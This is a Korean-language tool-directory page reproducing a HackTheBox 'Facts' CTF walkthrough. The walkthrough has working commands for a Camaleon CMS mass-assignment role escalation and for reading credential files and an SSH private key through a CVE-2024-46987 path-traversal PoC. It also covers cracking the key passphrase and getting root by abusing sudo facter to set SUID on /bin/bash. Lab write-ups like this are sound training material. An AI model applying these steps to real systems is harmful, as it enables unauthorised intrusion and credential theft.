Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HackTheBox-Facts — HTB Facts는 Camaleon CMS와 MinIO를 특징으로 하는 Easy 등급 Linux 박스입니다. 공개 등록과 대량 할당(mass assignment) 취약점을 통해 관리자 액세스 권한을 획득한 다음, 관리자 설정에서 MinIO 자격 증명을 추출하세요. CVE-2024-46987 경로 탐색(path traversal)을 사용하여 SSH 개인 키를 탈취하고, 해당 암호를 크랙한 다음, GTFOBins를 통해 facter에 대한 sudo 권한을 악용하여 root로 권한을 상승시키세요. | Kitploit
도구/GitHubGitHub/suriyaboon/hackthebox-facts
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud Security

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Learning & Education
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

HTB Facts는 Camaleon CMS와 MinIO를 특징으로 하는 Easy 등급 Linux 박스입니다. 공개 등록과 대량 할당(mass assignment) 취약점을 통해 관리자 액세스 권한을 획득한 다음, 관리자 설정에서 MinIO 자격 증명을 추출하세요. CVE-2024-46987 경로 탐색(path traversal)을 사용하여 SSH 개인 키를 탈취하고, 해당 암호를 크랙한 다음, GTFOBins를 통해 facter에 대한 sudo 권한을 악용하여 root로 권한을 상승시키세요.

저장소 보기
23개월 전아직 검토되지 않음

HTB Facts — 전체 분석(Writeup)

난이도: 중간(Medium)
OS: Linux
태그: Web, MinIO, Camaleon CMS, 경로 탐색(Path Traversal), SSTI, 권한 상승(Privilege Escalation)


목차

  1. 정찰(Reconnaissance)
  2. 웹 열거 — 포트 80
  3. MinIO 발견 — 포트 54321
  4. Camaleon CMS — 관리자 접근
  5. 관리자 역할로 권한 상승
  6. MinIO 자격 증명 발견
  7. 임의 파일 읽기 — CVE-2024-46987
  8. trivia로 SSH 접근
  9. root로 권한 상승
  10. 플래그

정찰(Reconnaissance)

열린 서비스를 식별하기 위해 전체 TCP 포트 스캔으로 시작합니다.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

결과:

포트서비스참고 사항
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321알 수 없음MinIO로 식별됨

대상을 /etc/hosts에 추가합니다:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

웹 열거 — 포트 80

http://facts.htb에 접속하면 Camaleon CMS(Ruby on Rails)로 구축된 퀴즈(trivia) 웹사이트가 나타납니다. 주요 특징:

  • 쿠키 이름: _factsapp_session (Rails 세션)
  • 에셋 경로: /assets/themes/camaleon_first/
  • 메타 태그의 CSRF 토큰
  • 서버: nginx/1.26.3 (Ubuntu)

사용 가능한 모든 페이지를 확인하기 위해 사이트맵을 열거합니다:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

발견된 주요 경로:

  • /admin → /admin/login으로 리다이렉트
  • /rss
  • 다양한 퀴즈 페이지: /animal-ejected, /anne-frank 등

관리자 로그인 패널 확인:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

MinIO 발견 — 포트 54321

알 수 없는 포트를 curl로 탐색하면 MinIO(S3 호환 객체 스토리지 서비스)가 확인됩니다:

root@kitploit:~
curl -v http://facts.htb:54321

응답:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

헤더에서 Server: MinIO 확인.

잠재적인 버킷 이름을 열거합니다(모두 403을 반환하면 버킷이 존재함을 의미):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

모두 403 Forbidden 반환 — 버킷은 존재하지만 자격 증명이 필요합니다.


Camaleon CMS — 관리자 접근

CMS 식별

에셋 경로와 세션 쿠키를 통해 CMS는 Camaleon CMS로 식별됩니다.

알려진 취약점 확인:

root@kitploit:~
searchsploit camaleon

결과:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

관리자 패널 버전은 2.9.0으로 확인됩니다(로그인 후 푸터에서 확인 가능).

계정 생성

http://facts.htb/admin/login의 관리자 로그인 페이지에는 "계정 생성(Create an account)" 링크가 있습니다. 새 계정을 등록합니다:

  • http://facts.htb/admin/users/sign_up으로 이동
  • 유효한 자격 증명 입력(예: test123 / test123)
  • 제출 — Client 역할 계정이 생성됩니다

등록 후 관리자 대시보드에 로그인합니다. 이 계정은 제한된 Client 권한만 있습니다.


관리자 역할로 권한 상승

Mass Assignment 취약점

Camaleon CMS는 비밀번호 변경 엔드포인트에서 mass assignment 공격에 취약합니다. 비밀번호 변경 요청을 가로채 password[role] 파라미터를 주입하면 공격자는 자신의 역할을 admin으로 상승시킬 수 있습니다.

Burp Suite를 사용한 단계:

  1. Client 계정으로 관리자 패널에 로그인합니다.
  2. Profile → Edit → Change Password로 이동합니다.
  3. 새 비밀번호를 입력하고 Process를 클릭합니다.
  4. Burp Suite에서 POST 요청을 가로챕니다.
  5. 요청 본문에 &password[role]=admin을 추가합니다:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. 요청을 전달(Forward)합니다 — 응답은 200 OK여야 합니다.
  2. 업데이트된 자격 증명으로 다시 로그인합니다.

이제 계정에 admin 권한이 부여되어 Settings, Media, Filesystem Settings를 포함한 CMS 관리자 패널에 완전히 접근할 수 있습니다.


MinIO 자격 증명 발견

관리자 접근 권한으로 다음으로 이동합니다:

root@kitploit:~
Settings → General Site → Filesystem Settings

이 페이지에서 하드코딩된 MinIO(AWS S3 호환) 자격 증명이 노출됩니다:

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

AWS CLI를 구성하고 버킷을 열거합니다:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

발견된 버킷:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

internal 버킷에는 trivia 사용자의 홈 디렉터리가 포함되어 있습니다:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# SSH 개인 키 다운로드
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

임의 파일 읽기 — CVE-2024-46987

또는 SSH 개인 키는 CVE-2024-46987을 통해 검색할 수 있습니다. 이는 Camaleon CMS의 인증된 경로 탐색(path traversal) 취약점으로, 서버의 임의 파일을 읽을 수 있습니다.

공개 PoC를 클론합니다:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

민감한 파일 읽기:

root@kitploit:~
# 1단계: 시스템 사용자를 열거하기 위해 /etc/passwd 읽기
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

출력(관련 라인):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

trivia와 william 두 사용자가 식별됩니다. trivia는 로그인 셸과 홈 디렉터리가 있으므로 SSH 개인 키를 확인합니다:

root@kitploit:~
# 2단계: trivia의 SSH 개인 키 읽기
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

키 출력을 파일로 저장합니다:

root@kitploit:~
chmod 600 id_ed25519

trivia로 SSH 접근

SSH 키 암호문 크래킹

SSH 개인 키는 암호문(passphrase)으로 암호화되어 있습니다. ssh2john과 john을 사용하여 크래킹합니다:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

크래킹된 암호문: dragonballz

SSH 로그인

root@kitploit:~
ssh -i id_ed25519 [email protected]
# 암호문 입력: dragonballz

사용자 플래그 획득:

root@kitploit:~
cat /home/william/user.txt

root로 권한 상승

Sudo 권한 확인

trivia 사용자의 sudo 권한을 확인합니다:

root@kitploit:~
sudo -l

출력:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

이 사용자는 비밀번호 없이 root 권한으로 /usr/bin/facter를 실행할 수 있습니다. facter는 Ruby 기반 시스템 정보 도구입니다.

GTFOBins — facter

GTFOBins에 따르면 facter는 --custom-dir을 통해 사용자 정의 Ruby fact 파일을 로드할 수 있으며, 이 파일은 호출 사용자(이 경우 root)로 실행됩니다.

익스플로잇:

root@kitploit:~
# 익스플로잇 디렉터리와 Ruby 페이로드 생성
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# 사용자 정의 디렉터리로 facter를 root 권한으로 실행
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# bash에 SUID 비트가 설정되었는지 확인
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# root 셸 실행
/bin/bash -p

Root 플래그 획득

root@kitploit:~
whoami
# root

cat /root/root.txt

플래그

플래그위치
user.txt/home/william/user.txt
root.txt/root/root.txt

공격 체인 요약

root@kitploit:~
Nmap Scan
    ↓
Port 80: Camaleon CMS 2.9.0
    ↓
Register Client Account → Admin Panel
    ↓
Mass Assignment: password[role]=admin → Admin Role
    ↓
Admin Settings → MinIO Credentials Exposed
    ↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Passphrase: dragonballz
    ↓
SSH Login as trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVE 및 참고 자료

CVE설명
CVE-2024-46987Camaleon CMS 인증된 경로 탐색 / 임의 파일 읽기
CVE-2023-30145Camaleon CMS v2.7.0 formats 파라미터를 통한 SSTI (이 머신에서는 사용되지 않음)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
도구 다운로드